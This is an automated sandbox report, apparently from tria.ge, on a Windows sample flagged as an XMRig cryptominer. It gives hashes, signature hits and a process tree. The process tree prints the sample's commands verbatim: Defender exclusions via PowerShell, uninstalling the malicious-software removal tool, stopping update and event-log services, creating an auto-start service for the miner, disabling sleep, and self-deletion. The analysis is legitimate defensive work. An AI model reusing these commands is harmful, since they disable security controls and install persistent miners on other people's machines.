Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
110s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
18/12/2024, 23:58
Static task
static1
Behavioral task
behavioral1
Sample
232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe
Resource
win7-20240903-en
General
-
Target
232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe
-
Size
5.6MB
-
MD5
cf43ba2a3380b058548e254fc19d5500
-
SHA1
b84134efd64a1b92ba7129619c8af3ae3a733b7b
-
SHA256
232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebe
-
SHA512
bd1a4c7a6c9d3fe8d5babe75cd361a1b710e1259eaaa8247b2a52ffb7ce578bb3a22cbc3db554e4771e0d654a5e8a181d841d40255adbd8eb69efc32daa2b283
-
SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/2252-62-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-64-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-65-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-68-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-67-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-66-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-61-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-69-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-71-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-72-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2252-73-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 800 powershell.exe 4560 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 1 IoCs
pid Process 3692 fqwofdtexigy.exe -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2928 powercfg.exe 4124 powercfg.exe 3568 powercfg.exe 2088 powercfg.exe 4984 powercfg.exe 4012 powercfg.exe 4940 powercfg.exe 332 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\system32\MRT.exe 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3692 set thread context of 4464 3692 fqwofdtexigy.exe 150 PID 3692 set thread context of 2252 3692 fqwofdtexigy.exe 152 -
resource yara_rule behavioral2/memory/2252-56-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-62-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-64-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-65-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-68-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-67-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-66-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-61-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-60-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-59-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-58-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-57-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-69-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-71-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-72-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2252-73-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4532 sc.exe 1872 sc.exe 3540 sc.exe 4552 sc.exe 368 sc.exe 1100 sc.exe 2828 sc.exe 4708 sc.exe 4488 sc.exe 4456 sc.exe 1660 sc.exe 2168 sc.exe 1508 sc.exe 1588 sc.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 800 powershell.exe 800 powershell.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 4668 232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe 3692 fqwofdtexigy.exe 4560 powershell.exe 4560 powershell.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 3692 fqwofdtexigy.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe 2252 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 800 powershell.exe Token: SeShutdownPrivilege 3568 powercfg.exe Token: SeCreatePagefilePrivilege 3568 powercfg.exe Token: SeShutdownPrivilege 4124 powercfg.exe Token: SeCreatePagefilePrivilege 4124 powercfg.exe Token: SeShutdownPrivilege 2928 powercfg.exe Token: SeCreatePagefilePrivilege 2928 powercfg.exe Token: SeShutdownPrivilege 332 powercfg.exe Token: SeCreatePagefilePrivilege 332 powercfg.exe Token: SeDebugPrivilege 4560 powershell.exe Token: SeShutdownPrivilege 2088 powercfg.exe Token: SeCreatePagefilePrivilege 2088 powercfg.exe Token: SeShutdownPrivilege 4940 powercfg.exe Token: SeCreatePagefilePrivilege 4940 powercfg.exe Token: SeShutdownPrivilege 4984 powercfg.exe Token: SeCreatePagefilePrivilege 4984 powercfg.exe Token: SeShutdownPrivilege 4012 powercfg.exe Token: SeCreatePagefilePrivilege 4012 powercfg.exe Token: SeLockMemoryPrivilege 2252 nslookup.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 216 wrote to memory of 1080 216 cmd.exe 102 PID 216 wrote to memory of 1080 216 cmd.exe 102 PID 4224 wrote to memory of 4568 4224 cmd.exe 128 PID 4224 wrote to memory of 4568 4224 cmd.exe 128 PID 4396 wrote to memory of 3960 4396 cmd.exe 137 PID 4396 wrote to memory of 3960 4396 cmd.exe 137 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 4464 3692 fqwofdtexigy.exe 150 PID 3692 wrote to memory of 2252 3692 fqwofdtexigy.exe 152 PID 3692 wrote to memory of 2252 3692 fqwofdtexigy.exe 152 PID 3692 wrote to memory of 2252 3692 fqwofdtexigy.exe 152 PID 3692 wrote to memory of 2252 3692 fqwofdtexigy.exe 152 PID 3692 wrote to memory of 2252 3692 fqwofdtexigy.exe 152
Processes
-
C:\Users\Admin\AppData\Local\Temp\232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe"C:\Users\Admin\AppData\Local\Temp\232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4668 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:216 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1080
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4708
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3540
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:4552
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:368
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4532
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3568
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4124
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2928
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:332
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:4488
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:1660
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1872
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebeN.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4224 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4568
-
-
-
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:3960
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4456
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1508
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1100
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1588
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2828
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2088
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4940
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4012
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4984
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:4464
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD5cf43ba2a3380b058548e254fc19d5500
SHA1b84134efd64a1b92ba7129619c8af3ae3a733b7b
SHA256232fbdeaea2dcd69604328ba5a214dee75c9fd9738a8b68572f23d0619064ebe
SHA512bd1a4c7a6c9d3fe8d5babe75cd361a1b710e1259eaaa8247b2a52ffb7ce578bb3a22cbc3db554e4771e0d654a5e8a181d841d40255adbd8eb69efc32daa2b283
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82